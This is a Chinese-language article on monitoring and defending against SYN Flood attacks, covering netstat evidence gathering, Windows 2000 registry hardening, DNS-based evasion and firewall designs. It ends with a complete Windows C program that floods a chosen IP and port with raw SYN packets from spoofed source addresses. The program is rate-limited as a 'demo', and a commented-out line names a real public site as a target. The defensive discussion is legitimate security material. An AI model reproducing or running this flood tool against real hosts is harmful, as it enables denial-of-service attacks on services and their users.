SYN Flood攻击的监测与防御初探

对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。

　　一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量>500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。

　　遭到SYN Flood攻击后，首先要做的是取证，通过Netstat –n –p tcp >resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问）

　　前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动：

　　首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2；

　　增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。

　　增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。

　　我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN
Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。

　　所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。

　　通过设置注册表防御SYN Flood攻击，采用的是“挨打”的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，“退让”也是一种比较有效的方法。

　　退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。

同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。

　　对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下所示：



　　如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:）

　　工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下所示：



　　客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。

　　在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示：

第一阶段，客户机请求与防火墙建立连接：



第二阶段，防火墙伪装成客户机与后台的服务器建立连接



第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器



　　这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。

　　近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。

#include "stdafx.h"

/*
int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}
*/

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

//#define SYN_DEST_IP "192.168.15.250"//被攻击的IP
//#define SYN_DEST_IP "202.108.22.5"//百度
#define SYN_DEST_IP "127.0.0.1"

#define FAKE_IP "10.168.150.1"       //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF      //错误返回值

#pragma comment(lib, "ws2_32.lib")

typedef struct _iphdr              //定义IP首部

{

unsigned char h_verlen;            //4位首部长度,4位IP版本号

unsigned char tos;               //8位服务类型TOS

unsigned short total_len;      //16位总长度（字节）

unsigned short ident;            //16位标识

unsigned short frag_and_flags;  //3位标志位

unsigned char  ttl;              //8位生存时间 TTL

unsigned char proto;         //8位协议 (TCP, UDP 或其他)

unsigned short checksum;        //16位IP首部校验和

unsigned int sourceIP;            //32位源IP地址

unsigned int destIP;         //32位目的IP地址

}IP_HEADER;

struct                              //定义TCP伪首部

{
unsigned long saddr;     //源地址

unsigned long daddr;     //目的地址

char mbz;

char ptcl;                   //协议类型

unsigned short tcpl;     //TCP长度

}psd_header;

typedef struct _tcphdr             //定义TCP首部

{
USHORT th_sport;               //16位源端口

USHORT th_dport;               //16位目的端口

unsigned int th_seq;         //32位序列号

unsigned int th_ack;         //32位确认号

unsigned char th_lenres;        //4位首部长度/6位保留字

unsigned char th_flag;            //6位标志位

USHORT th_win;                 //16位窗口大小

USHORT th_sum;                 //16位校验和

USHORT th_urp;                 //16位紧急数据偏移量

}TCP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

//  SynFlood主函数
int _tmain(int argc, _TCHAR* argv[])
//int main()

{
printf("这只是个demo，每秒只能发送10个半连接请求。具体了解请联系shark926@sina.com\n");
if (argc < 3)
{
printf("argument not enough!\n");
printf("usage SYNFlood.exe <distinat ip> <port>\n");
return 0;
}

int iDstPort = atoi(argv[2]);
printf("SYN Flood-> %s:%d\n", argv[1], iDstPort);

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if (SockRaw==INVALID_SOCKET){

fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");

__try{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

//DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
DestAddr.sin_addr.s_addr=inet_addr(argv[1]);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号，低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位总长度（字节）

ip_header.ident=1;                                                       //16位标识

ip_header.frag_and_flags=0;                                               //3位标志位

ip_header.ttl=128;                                                       //8位生存时间TTL

ip_header.proto=IPPROTO_TCP;                                          //8位协议(TCP,UDP…)

ip_header.checksum=0;                                                    //16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址

//ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址
ip_header.destIP=inet_addr(argv[1]);

//填充TCP首部

tcp_header.th_sport=htons(7000);                                      //源端口号

tcp_header.th_dport=htons(iDstPort);                                      //目的端口号

tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列号

tcp_header.th_ack=0;                                                 //ACK序列号置为0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP长度和保留位

tcp_header.th_flag=2;                                                    //SYN 标志

tcp_header.th_win=htons(16384);                                           //窗口大小

tcp_header.th_urp=0;                                                 //偏移

tcp_header.th_sum=0;                                                 //校验和

//填充TCP伪首部（用于计算校验和，并不真正发送）

psd_header.saddr=ip_header.sourceIP;                                    //源地址

psd_header.daddr=ip_header.destIP;                                      //目的地址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP;                                            //协议类型

psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP首部长度

while(1) {

//每发送10,240个报文输出一个标示符
printf("*\n");

for(counter=0;counter<10240;counter++){
Sleep(100);//每秒10个包
printf(".");
if(SendSEQ++==65536) SendSEQ=1;                                  //序列号循环

//更改IP首部

ip_header.checksum=0;                                            //16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列号

tcp_header.th_sum=0;                                         //校验和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和，计算校验和时需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

}//End of for

}//End of While

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}